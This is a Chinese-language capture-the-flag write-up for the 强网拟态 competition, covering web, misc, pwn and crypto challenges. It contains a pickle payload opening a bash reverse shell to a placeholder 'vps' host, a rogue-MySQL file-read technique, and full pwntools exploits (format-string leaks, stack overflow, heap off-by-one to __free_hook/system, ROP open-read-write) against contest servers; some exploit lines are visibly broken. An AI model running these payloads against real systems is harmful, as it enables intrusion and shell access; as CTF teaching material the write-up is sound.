0%

强网拟态-Writeup

image-20211026192200428

Web

zeroclac

根据提示读取文件

image-20211025162506584

ezpickle

先看config.py

1
2
3
4
5
6
notadmin={"admin":"no"}

def backdoor(cmd):
if notadmin["admin"]=="yes":
s=''.join(cmd)
eval(s)

变量覆盖notadmin

1
2
3
notadmin={"admin":"yes"}
s = pickle.dumps(notadmin,0)
print(s)

输出得到

1
b'(dp0\nVadmin\np1\nVyes\np2\ns.'

之后调用backdoor,反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import sys
import io
import base64
import pickle

'''
notadmin={"admin":"yes"}
s = pickle.dumps(notadmin,0)
print(s)
'''

payload = b"""cconfig
notadmin
(dp0
Vadmin
p1
Vyes
p2
cconfig
backdoor
(S'__import__("os").system("bash -c 'exec bash -i &>/dev/tcp/vps/8001 <&1'")'
tR."""

print(base64.b64encode(payload))

image-20211025162148106

Give_me_your_0day

安装过程,切换安装模式为Mysqli,使用mysql服务端反向读取任意文件

1
https://github.com/allyshka/Rogue-MySql-Server

image-20211026140143395

image-20211025162114171

查看mysql.log

image-20211025192410682

EasyFilter

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
ini_set("open_basedir","./");
if(!isset($_GET['action'])){
highlight_file(__FILE__);
die();
}
if($_GET['action'] == 'w'){
@mkdir("./files/");
$content = $_GET['c'];
$file = bin2hex(random_bytes(5));
file_put_contents("./files/".$file,base64_encode($content));
echo "./files/".$file;
}elseif($_GET['action'] == 'r'){
$r = $_GET['r'];
$file = "./files/".$r;
include("php://filter/resource=$file");
}

首先写入php文件用来获取flag

1
/?action=w&c=<?php system('cat /flag');?>

image-20211025162041347

1
/?action=r&r=../convert.base64-decode/.././files/d23c21f9b5

image-20211025192339349

new_hospital

打开题目,扫描目录发现flag.php和ord文件夹

主页面存在feature.php会接受id参数,执行file_get_contents函数,同时old/feature.php会保存这个值

抓包发现cookie:API字段,正好是我们传入id的base64形式,直接读flag.php

image-20211026140158018

Jack-Shiro

参考https://github.com/sqxssss/NPUCTF_WriteUps/blob/master/m0on's-writeup.md

image-20211026140210658

image-20211025194226488

Misc

WeirdPhoto

第一步:

利用crc爆破出宽高

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import binascii
import struct

crc32key = 0x9E916964

for i in range(0, 65535):
for j in range(0, 65535):
width = struct.pack('>i', j)
height = struct.pack('>i', i)
data = b'\x49\x48\x44\x52' + width + height + b'\x08\x06\x00\x00\x00'
crc32result = binascii.crc32(data) & 0xffffffff
if crc32result == crc32key:
print(''.join(map(lambda c: "%02X" % c, width)))
print(''.join(map(lambda c: "%02X" % c, height)))

058C,01F4

得到:

image-20211119172454068

右边字符串未知加密,猜测只是进行了字符串顺序的打乱,即使用了栅栏加密

栅栏解密,偏移是4:

image-20211119172516302

使用它解密压缩包,查看out,看出是pdf文件格式,只是缺少了头部,将前面四个00改为:25504446

pdf隐写,使用wbStego,密码还是解压缩包的密码,得到flag:

image-20211119172600132

flag{th1s_ls_thE_f1n4l_F14g_y0u_want}

bar

gif安帧分离 前27张图片有三种颜色 黑白灰 灰色代表空格 黑白分别代表 杠、点 可转换为摩斯电码:

转码脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding:utf8
import cv2

flag = ''
path = 'D:\\output\\output_' #不能识别中文路径

for i in range(27,334): #213为gif提取帧后的图片数量213 要和提取出来的图片放在统一文件夹中
i=i+1
path_name = path+str(i)+'.jpeg'
# print(path_name)
# exit()
img= cv2.imread(path_name) #获取图片数据
img_color = img[-1][-5][0] #任取一个相同的颜色通道数值 由于相同的颜色 数值相同
#自行判断哪个颜色对应的数值后作为下面的判断条件
# print(img_color)
# exit()#[9 9 9][255 255 255][82 68 56]
# print(img_color) #打印每种颜色的图片 该通道下的数值
if img_color == 9 : #判断数值后 对应为相对应的摩斯编码的符号
flag = flag + '-' #将转换出来的摩斯编码符号连接在一次
# flag = flag + '0' #将转换出来的摩斯编码符号连接在一次
if img_color == 82 :
flag = flag + ' '
# flag = flag + ' '
if img_color == 255 :
flag = flag + '.'
# flag = flag + '1'

print(flag) #输出转换并连接在一起的摩斯编码

image-20211119172614440

image-20211119172626455

image-20211119172641929

后续图片仅有黑白二色 可转换为 黑:1 白:0

根据前面解出的提示:code93 将后续内容绘制为条形码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#coding:utf8
import cv2

flag = ''
path = 'D:\\output\\output_'#不能识别中文路径

for i in range(27,334): #213为gif提取帧后的图片数量213 要和提取出来的图片放在统一文件夹中
i=i+1
path_name = path+str(i)+'.jpeg'
# print(path_name)
# exit()
img= cv2.imread(path_name) #获取图片数据
img_color = img[-1][-5][0] #任取一个相同的颜色通道数值 由于相同的颜色 数值相同
#自行判断哪个颜色对应的数值后作为下面的判断条件
# print(img_color)
# exit()#[9 9 9][255 255 255][82 68 56]
# print(img_color) #打印每种颜色的图片 该通道下的数值
if img_color == 9 : #判断数值后 对应为相对应的摩斯编码的符号
# flag = flag + '-' #将转换出来的摩斯编码符号连接在一次
flag = flag + '0' #将转换出来的摩斯编码符号连接在一次
if img_color == 82 :
# flag = flag + ' '
flag = flag + ' '
if img_color == 255 :
# flag = flag + '.'
flag = flag + '1'

print(flag) #输出转换并连接在一起的摩斯编码
import turtle
from turtle import *
import time

length = 1600
height = 600
setup(length, height)
# setworldcoordinates(0,0,length,height)

length = 200
wide = 4
init = -700
def chang(offset,colors):
speed(0)
penup()
goto(offset,-50)
pendown()
color(colors,colors)
begin_fill()
turtle.left(90)
turtle.forward(length)
turtle.right(90)
turtle.forward(wide)
turtle.right(90)
turtle.forward(length)
turtle.right(90)
turtle.forward(wide)
turtle.right(90)
turtle.right(90)
end_fill()

# code = '1010111101100010101000101001101000101001000101010001001100101001101001001000010101010100001010000101001000101000100101001010001100101001101001001100101001101010001000100101000010101001000101100010101000010101101000101001001001100010101001000101100101001000010101001000101010001000000000000000000001010111101'#00000000000000000000
code = '101011110110001010100010100110100010100100010101000100110010100110100100100001010101010000101000010100100010100010010100101000110010100110100100110010100110101000100010010100001010100100010110001010100001010110100010100100100110001010100100010110010100100001010100100010101011101'#00000000000000000000
# code = '0101000010011101010111010110010111010110111010101110110011010110010110110111101010101011110101111010110111010111011010110101110011010110010110110011010110010101110111011010111101010110111010011101010111101010010111010110110110011101010110111010011010110111101010110111010101110111111111111111111110101000010'
for i in range(len(code)):
offset = (i+1) * wide
offset = init+offset
if code[i] == '1':
colors = 'black'
else:
colors = 'white'
chang(offset,colors)
# if i == 5:
penup()
goto(-400,-400)
color('white','white')
time.sleep(10)
# exit()

绘制后图形如下 条形码开头和结尾标志 与生成的code93条形码一致:

image-20211119172658955

无法扫描解码是因为 在空白区 缺少条形码的校验码 C、K码

可以直接通过对照表 把数据区进行解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
code_list = {'101011110':'','100010100': '0', '101001000': '1', '101000100': '2', '101000010': '3', '100101000': '4', '100100100': '5', '100100010': '6', '101010000': '7', '100010010': '8', '100001010': '9', '111010010': ' ', '111001010': '$', '101101110': '/', '101110110': '+', '110101110': '%', '100101110': '-', '110101000': 'A', '110100100': 'B', '110100010': 'C', '110010100': 'D', '110010010': 'E', '110001010': 'F', '101101000': 'G', '101100100': 'H', '101100010': 'I', '100110100': 'J', '100011010': 'K', '101011000': 'L', '101001100': 'M', '101000110': 'N', '100101100': 'O', '100010110': 'P', '110110100': 'Q', '110110010': 'R', '110101100': 'S', '110100110': 'T', '110010110': 'U', '110011010': 'V', '101101100': 'W', '101100110': 'X', '100110110': 'Y', '100111010': 'Z', '': ''}

# # print(code_list)

# en_code = '101011110110001010100010100110100010100100010101000100110010100110100100100001010101010000101000010100100010100010010100101000110010100110100100110010100110101000100010010100001010100100010110001010100001010110100010100100100110001010100100010110010100100001010100100010101000100'
en_code = '101011110110001010100010100110100010100100010101000100110010100110100100100001010101010000101000010100100010100010010100101000110010100110100100110010100110101000100010010100001010100100010110001010100001010110100010100100100110001010100100010110010100100001010100100010101000100110010110101001100101011110'
# en_code = '101001100'
flag = ''
for i in range(0,len(en_code),9):
strr = ''
for j in range(9):
j += i
strr += en_code[j]
# print(strr)
try:
flag += code_list[strr]
# print(code_list[strr])
except Exception as e:
pass
# print(flag)
#数据区内容为:F0C62DB973684DBDA896F9C5F6D962
#flag = 'F0C62DB973684DBDA896F9C5F6D962W '
# print(len(flag))
# print(len(en_code)%9)
# strr = 'F0C62DB973684DBDA896F9C5F6D962'
print('flag{'+flag.lower()+'}')
#flag:flag{f0c62db973684dbda896f9c5f6d962um}

原字符集为大写,需要找小写字符集的编码

将得到的字符串转码为小写后,使用转码后的字符串生成条形码 再将获取到的ck码添加在字符串后面即可得到完整flag

image-20211119172711679

C码为:U:221121:110010110

K码为:M:111222:101001100

flag{f0c62db973684dbda896f9c5f6d962um}

BlueWhale

分析流量包

image-20211119172859680

得到password.txt内容为th1sIsThEpassw0rD,zip中存在password.txt,考虑使用明文攻击爆破压缩包密码,解开压缩包后获得一张图片,经过尝试,使用zsteg拿到flag

image-20211119172848918

mirror

首先,crc校验,得到正确图片宽高

使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#-*-coding:utf-8-*-
import binascii
import struct
import sys

# file = input("图片地址:")
fr = open(file,'rb').read()
data = bytearray(fr[0x0c:0x1d])
crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])
#原来的代码: crc32key = eval(str(fr[29:33]).replace('//x','').replace("b'",'0x').replace("'",''))
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = binascii.crc32(data) & 0xffffffff
if crc32result == crc32key:
print(width,height)
newpic = bytearray(fr)
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
fw = open(file+'.png','wb')
fw.write(newpic)
fw.close
sys.exit()

得到full.png.png

image-20211119172924779

接下来,观察原图下方十六进制数据,发现png标识

image-20211119172835488

搜索找到IEND结束标识,选取开始与结束,把这段数据保存成新的图片

通过观察,发现是进行了十六位数据的逆序,写个翻转脚本得到正确的图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#-*-coding:utf-8-*-

path=input("you file")
offset=16
f1=open(path+"full_2.png",'rb').read()
#十六位逆序
dec=list(f1)
# dec=f1
res=[]
for i in range(len(dec)-1,16,-1):
res.append(dec[i])

final="".join(res)

with open(path+"2_s.png",'wb') as f:
f.write(final)
f.close()

#前后逆序
f2=open(path+"2_s.png",'rb').read()
dec=f2
res=b''
for i in range(0,len(dec)-1,16):
res+=dec[i:i+16][::-1]

with open(path+"2.png",'wb') as f:
f.write(res)
f.close()

得到的图片同样需要修一下crc的宽高,一样为09220505

然后就是经典双图,盲水印,使用bwmforpy3.py

image-20211119172824281

得到:

image-20211119173320811

依稀可以看到字符串,字符翻转之后查看,然后根据提示所述 2-5 e-6 9-a p-b q-d

得到flag:

flag{356ffd89983749059ab1e3e968a01d90}

PWN

pwnpwn

程序vuln函数中存在栈溢出以及格式化字符串漏洞.

image-20211119172911802

先通过格式化字符串漏洞leak出libc和canary然后再通过栈溢出将返回地址覆盖为onegadget

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#coding:utf8
from pwn import *
context.log_level="debug"
p=process("./pwnpwn")
p = remote("124.71.156.217",49153)
elf=ELF("./pwnpwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil("welcome to mimic world,try something\n")
p.sendline("2")
p.recvuntil("hello\n")
p.sendline("aaaaaaaa%29$p##%21$p")
p.recvuntil("0x")
libc_base=int(p.recv(12),16)
print "libc_base : "+hex(libc_base)
libc_base=libc_base-240-libc.sym['__libc_start_main']
print "libc_base : "+hex(libc_base)
p.recvuntil("##0x")
canary=int(p.recv(16),16)
print "canary : "+hex(canary)
one=libc_base+0x45226
print "one : "+hex(libc_base+0xe6c7e)
p.sendline("2")
pd="a"*(0x70-0x8+1)+p64(canary)+p64(0xdeadbeef)+p64(one)
p.sendline(pd)
raw_input()
p.sendline("ls")
p.sendline("ls")
p.sendline("cat flag")

p.interactive()

old_school

思路

该程序保护全开的64程序,libc为2.27-3ubuntu1.4_amd64.Tcache堆机制.

image-20211119172939689

经典菜单题,这题的漏洞点是edit函数中存在off by one漏洞.

image-20211119172954319

伪造堆块 将large chunk放入unsigned bin中leak libc

伪造堆块 fastbin攻击,将malloc_hook中内容改为onegadget

最后执行malloc函数即可getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#coding:utf8
from pwn import *
context.log_level="debug"
p=process("./old_school")
p=remote("121.36.194.21",49153)
elf=ELF("./old_school")
libc=ELF("./libc-2.27.so")


def add(index,size):
p.sendlineafter("Your choice: ","1")
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Size: ",str(size))


def edit(index,content):
p.sendlineafter("Your choice: ","2")
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Content: ",content)




def delete(index):
p.sendlineafter("Your choice: ","4")
p.sendlineafter("Index: ",str(index))


def show(index):
p.sendlineafter("Your choice: ","3")
p.sendlineafter("Index: ",str(index))
#.bss:0000000000202160 ; _QWORD qword_202160[32]
#all chunk<=0x20


add(0,0x18)
for i in range(0x18):
add(i+1,0x38)


edit(0,"a"*0x18+p8(0x81))
delete(1)
add(1,0x78)
edit(1,p64(0)*7+p64(0x481))
delete(2)
edit(1,"a"*0x40)
#gdb.attach(p)
show(1)
p.recvuntil("a"*0x40+"\n")
temp="\xa0"+p.recv(5)
libc_base=u64(temp.ljust(8,"\x00"))-(0x7ffff7dcdca0-0x7ffff79e2000)
print hex(libc_base)
__malloc_hook=libc_base+libc.symbols['__malloc_hook']
print hex(__malloc_hook)


edit(3,"a"*0x38+p8(0x71))
delete(4)
add(4,0x68)
edit(4,p64(0)*7+p64(0x71))
delete(5)
edit(4,p64(0)*7+p64(0x71)+p64(libc_base+libc.symbols['__malloc_hook']-0x23))
add(0x5,0x68)
add(0x1a,0x68)
edit(26,"a"*(0x23)+p64(libc_base+0x10a41c))#4
show(26)
'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL


0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL


0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL


'''
add(0x1b,0x38)


p.interactive()

bitflip

思路

这题和上一题漏洞是一模一样的。

经典菜单题,这题的漏洞点是edit函数中存在off by one漏洞.

image-20211119173030905

那就换一种拿shell的方式,

伪造堆块 将large chunk放入unsigned bin中leak libc

伪造堆块 fastbin攻击,改__free_hook内容为system函数,最后输入参数,free(“$0”)即可拿到shell.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context.log_level="debug"
p = process('./bitflip')
p=remote("124.71.130.185",49153)
libc = ELF('./libc-2.27.so')

def add(index,size):
p.sendlineafter('Your choice: ','1')
p.sendlineafter('Index: ',str(index))
p.sendlineafter('Size: ',str(size))

def edit(index,content):
p.sendlineafter('Your choice: ','2')
p.sendlineafter('Index: ',str(index))
p.sendafter('Content: ',content)

def free(index):
p.sendlineafter('Your choice: ','4')
p.sendlineafter('Index: ',str(index))

def show(index):
p.sendlineafter('Your choice: ','3')
p.sendlineafter('Index: ',str(index))

add(0,0x18)
add(1,0x18)
for i in range(0x11):
add(i+2,0x50)

edit(0,'\x51'*0x19)

free(1)
add(1,0x40)
edit(1,p64(0)*3+p64(0x481)+'\n')
free(2)


add(0x1f,0x20)
show(0x1f)
temp = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(temp)


libc_base = temp - 0x3ec0b0
print hex(libc_base)

edit(1,p64(0)*3+p64(0x61)+'\n')
free(10)
free(0x1f)
edit(1,p64(0)*3+p64(0x61)+p64(libc_base+libc.sym['__free_hook'])*3+p64(0x61)+'\n')


add(0x1d,0x50)
add(0x1c,0x50)
edit(0x1c,p64(libc_base+libc.sym['system'])+'\n')
edit(0x1d,'$0\x00\n')
free(0x1d)

p.interactive()

image-20211119173141521

sonic

image-20211119173009397

存在栈溢出漏洞

image-20211119173151379

存在命令行调用那个函数

image-20211119173204637

连接远程 返回固定的main地址

可知远程没有开pie,直接通过栈溢出调用noAuthLogin()

1
2
3
4
5
6
7
from pwn import *
p=remote("123.60.63.90",6889)
addr=0x55555555473a
pd=b"a"*40+p64(addr)

p.sendline(pd)
p.interactive()

可以发现 直接返回flag

image-20211119173307462

old_school_revenge

依然还是offbyone漏洞

创建一个0xf8(0x100)的bin,进行offbynull,leak libc

伪造堆块 改__free_hook内容为system函数,最后输入参数,free(“/bin/sh\x00”)即可拿到shell.

具体exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context.log_level="debug"
p = process('./old_school_revenge')
elf=ELF("./old_school_revenge")
p = remote('123.60.63.39', 49153)
libc = ELF('./libc-2.27.so')

def add(idx,size):
p.sendlineafter('Your choice: ','1')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))

def edit(idx,content):
p.sendlineafter('Your choice: ','2')
p.sendlineafter('Index: ',str(idx))
p.sendafter('Content: ',content)

def delete(idx):
p.sendlineafter('Your choice: ','4')
p.sendlineafter('Index: ',str(idx))

def show(idx):
p.sendlineafter('Your choice: ','3')
p.sendlineafter('Index: ',str(idx))

for i in range(11):
add(i,0xf8)
for i in range(8):
delete(i)
edit(8,'a'*0xf0+p64(0x200))
delete(9)
for i in range(8):
add(i,0xf8)
show(8)
temp= u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = temp-0x3ebca0


print hex(libc_base)
__malloc_hook=libc_base+libc.symbols['__malloc_hook']
print hex(__malloc_hook)

add(15,0xf8)
delete(15)
edit(8,p64(libc_base+libc.sym['__free_hook']-8)+'\n')
add(14,0xf8)
add(13,0xf8)
edit(13,'/bin/sh\x00'+p64(libc_base+libc.sym['system'])+'\n')
edit(14,'/bin/sh\x00'+p64(libc_base+libc.sym['system'])+'\n')
delete(13)
p.sendline("cat flag")

p.interactive()

image-20211119173236081

oldecho

思路:

非栈上格式化字符串,close(1),禁止exevce.

基本上都是2020cicsn决赛的原题

参考链接:

http://cn-sec.com/archives/167378.html

对着链接魔改下即可.

成功的可能性很小,看运气了.

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *

libc = ELF('./libc.so.6')
stop = False
while not stop:
try:


# p = process('./oldecho_c1')
p = remote('123.60.32.152', '49153')
p.recvuntil('Gift:')
leak_stack = int(p.recvline().strip(), 16)
print(hex(leak_stack))
p.recv()
#
target = (leak_stack+0x18) & 0xff

def write_ptr(addr):
for i in range(8):
p1 = '%{}c%6$hhn'
x1 = (target+i) % 256
if x1 == 0:
p.sendline(p1.format(256))
else:
p.sendline(p1.format(x1))
p2 = '%{}c%10$hhn'
x = ord(p64(addr)[i])
if x == 0:
x = 256
p.sendline(p2.format(x))


def write(addr, v, cnt):


# write addr to stack
for i in range(cnt):
write_ptr(addr+i)
p3 = '%{}c%12$hhn'
x = (ord(p64(v)[i])+256) % 256
if x == 0:
x = 256

p.sendline(p3.format(x))

info('write {} on {}'.format(hex(x), hex(addr+i)))

write(leak_stack+0x198+0x80, 0xb14690, 3)
payload = 'aa%76$hhn'
p.sendline(payload)
p.sendline('opend?')

if 'open' not in p.recvuntil('opend?', timeout=2):
p.close()
continue
p.sendline('%76$p')
libc_leak = int(p.recv(), 16)
payload = '%256c%76$hhn'
p.sendline(payload)

info(hex(libc_leak))
libcbase = libc_leak-0x3c5690


libc.address = libcbase
payload = [
libcbase+ 0x0000000000021112,
libcbase+0x0000000000021112+,
libcbase+ 0x0000000000021112,
leak_stack+0xa8,
libcbase+0x00000000000202f8,
0,
libc.sym['open'],
libcbase+0x0000000000021112+,
1,
libcbase+0x00000000000202f8+,
libc.sym['__free_hook'],
libcbase+0x0000000000001b92+,
0x100,
libc.sym['read'],
libcbase+0x0000000000021112+,
2,
libcbase+0x00000000000202f8,
libc.sym['__free_hook'],
libc.sym['write'],
u64('/flag'.ljust(8,'\x00'))
]
idx = 0
for x in payload:
write(leak_stack+0x10+idx*8, x, 8)
idx += 1

p.sendline('Bye~')
p.interactive()
stop = True
except Exception as e:
print(e)
p.close()

image-20211119173339953

random_heap

程序含有doublefree漏洞,size是一定程度是random的,这里我们我们选择去爆,第一次爆overlap,第二次爆去修改freehook为system.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
import ctypes
from pwn import *
lib = ctypes.CDLL('./libc-2.27.so')
p = process('./random_heap')
p = remote('124.71.140.198' ,'49153')
lib = ELF('./libc-2.27.so')
lib.srand(lib.time(0))
randlist = []
real_size = []
ii = 0


def add(idx,size):

x = size+(lib.rand()&0xf)*0x10
p.sendlineafter('Your choice: ','1')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))
print(hex(x))
return x
def edit(idx,content):
p.sendlineafter('Your choice: ','2')
p.sendlineafter('Index: ',str(idx))
p.sendafter('Content: ',content)

def free(idx):
p.sendlineafter('Your choice: ','4')
p.sendlineafter('Index: ',str(idx))

def show(idx):
p.sendlineafter('Your choice: ','3')
p.sendlineafter('Index: ',str(idx))




def add_extract(idx,size):
if size > 0x100:
exit(0)
x = lib.rand()
while x& 0xf !=0:
p.sendlineafter('Your choice: ','1')
p.sendlineafter('Index: ',str(0x3f))
p.sendlineafter('Size: ',str(0))
print(hex(x&0xf*0x10))
x = lib.rand()


p.sendlineafter('Your choice: ','1')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))
print(hex(size))



def make_double():
pass


make_double()

real = add(0,0x80)
if(real>0x100):
exit(0)
free(0)
edit(0,'a'*0x10+'\n')
free(0)
edit(0,'a'*0x10+'\n')
free(0)
edit(0,'a'*0x10+'\n')
free(0)
show(0)
p.recvuntil('Content: ')
print hex(real)
x0 = u64(p.recvn(6).ljust(8,'\x00'))
print hex(x0)
heap_base = x0 & (~0xfff)
print hex(heap_base)




add(1,0x100)
add(2,0x100)
add(3,0x100)
add(4,0x100)
add(5,0x10)
edit(0,p64(x0+real)+'\n')
edit(1,'b'*0x10)
succ = False
for i in range(0x40-5):
add(6+i,real)
edit(6+i,'a'*0x10)
show(6+i)
p.recvuntil('Content: ')
x = p.recvline()
print(x)
if 'b'*0x10 in x:
succ = True
break
print(i)
if not succ:
exit(0)
free(5)
edit(5,p64(0)*2)
free(5)
show(5)
p.recvuntil('Content: ')
x5 = u64(p.recvn(6).ljust(8,'\x00'))
print('x5 '+hex(x5))
size = x5-0x10-x0-real
print(hex(size))
edit(6+i,p64(0)+p64(size+1))
free(1)
show(1)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(leak))
libc = ELF('./libc-2.27.so')
libc.address = leak - 0x3ebca0
free(0)
edit(0,'a'*0x10+'\n')
free(0)
edit(0,'a'*0x10+'\n')
free(0)
edit(0,'a'*0x10+'\n')
free(0)
edit(0,p64(libc.sym['__free_hook']-8))
for i in range(0x40):
add(i,0x80)
edit(i,'cat fl*;'+p64(libc.sym['system']))

for i in range(0x40):
free(i)
p.interactive()

boringnote

伪造堆块重用,将large chunk放入unsigned bin中进而leak libc

Leak 堆地址进而构造Fastbin attack 攻击将free_hook内容改为system,发送参数,执行free(“$0”)即可getshell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
p = process('./bornote')
p = remote('121.36.250.162',49153)
libc = ELF('./libc-2.31.so')

p.recvuntil("username")
p.sendline("aaa")

def add(size):
p.sendlineafter('cmd', '1')
p.sendlineafter('Size: ', str(size))


def delete(idx):
p.sendlineafter('cmd', '2')
p.sendlineafter('Index: ', str(idx))


def edit(idx, content):
p.sendlineafter('cmd', '3')
p.sendlineafter('Index: ', str(idx))
p.sendafter('Note', content)


def show(idx):
p.sendlineafter('cmd', '4')
p.sendlineafter('Index: ', str(idx))

add(0x30)
add(0x30)
add(0x4f0)
add(0x10)
delete(2)
add(0x4f0)
show(2)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = leak-0x1ebbe0
print hex(libc_base)7
delete(1)
delete(0)
add(0x37)
show(0)
p.recvuntil('Note: ')
heap_leak = u64(p.recvn(6).ljust(8, '\x00'))
print hex(heap_leak)
add(0x38)

edit(0,p64(0)+p64(0x71)+p64(heap_leak)+p64(heap_leak)+'\n')
edit(1,p64(0)+p64(0x71)+p64(heap_leak-0x40)+p64(heap_leak-0x40)+p64(0)*2+p64(0x70)+'\n')

delete(2)
add(0x20)
add(0x30)
add(0x30)
delete(5)
delete(1)
edit(4,p64(libc_base+libc.sym['__free_hook'])+'\n')

add(0x30)
add(0x30)
edit(4,'$0\x00\n')
edit(5,p64(libc_base+libc.sym['system'])+'\n')

delete(4)

p.interactive()

CRYPTO

onlyrsa

n比较大,无法直接分解,题目描述说RSA 11,应该说的是n为十一进制,就是在尝试对n进行分解时,需要转n为11进制进行多项式分解,之后得到pq解rsa即可。

1
2
3
4
5
6
7
8
9
10
11
from sympy.ntheory.factor_ import digits
from sympy import *

i=11
a=sum(a*i^b for b,a in enumerate(digits(n,11)))#将n变成11进制并分解成多项式
#在分解的多项式里遍历找出p*q=n的值
(p,_),(q,_)=a.factor_list()
p=int(p,11)#还原十一进制为十进制
q=int(q,11)
if p*q==n:
print(p)

分解得到

1
p=16249579302136675275737472669394168521026727339712083110552530420348131906271518040549529167354613121510156841352658645018277766962773342379074137176993546193979134201416444089373463960664685121485689105129185197998903479181913613273443541075619342246119648308939006396145123630152777688592984718084919469059

之后跑一下rsa即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
# from Crypto.Util.number import *
from Crypto.Util.number import *
import gmpy2
import libnum


c=76196483810925191371357319946893762223027002702624516192769497540954799651198719100683206759706879828894501526423422596543748404479640715319801018211652987852179907519286760601944889601355220646374788026632971331786307898234821477134265724962397355614076896148563340833323366935479885600112872998594315513803419069126624158092821269145991266528158747750965226483644012365861166608598063649804899693010576080857540523307078138634628539419178875838147396170651777949577793359622498517581948006585916952705460782942977789615065947303447566918741750017127110484065354974088489869377128636357092420660532261674969708694
n=264048827496427248021277383801027180195275776366915828865010362454006394906519399441496561006668252031429735502465174250525698696973129422193405161920872162928097673289330345041221985548078586423910246601720647996170161319016119241836415788315729493164331517547663558380515400720081995290120793014108439083514403659082115510258023834737471488528527557960636984676435543300074504679264476413252780514962473070445293528877641502742438571110744667739728450283295649865745629276142949963507003094791773183928894536793857609738113546410753895719242547720815692998871947957214118354127328586542848234994500987288641595105
e=65537
p=16249579302136675275737472669394168521026727339712083110552530420348131906271518040549529167354613121510156841352658645018277766962773342379074137176993546193979134201416444089373463960664685121485689105129185197998903479181913613273443541075619342246119648308939006396145123630152777688592984718084919469059

d=gmpy2.invert(e, p-1)
# d = 869295589259367739089912250772784149941555244412020131919330632371645794946182190978632669495785184003152568561002505598884322611219362167646275004082264567436575438457147153170626739797219677982343195486258499842595108076533700476626837588097127026182087782033662761873213657129799023089354172781874783077
m=pow(c,d,p)
print(long_to_bytes(m))
#flag{5c066086-178b-46a7-b0f8-f1afba6f2910}

image-20211119173224786

flag{5c066086-178b-46a7-b0f8-f1afba6f2910}

签到题

base64解密

----------------本文结束感谢阅读----------------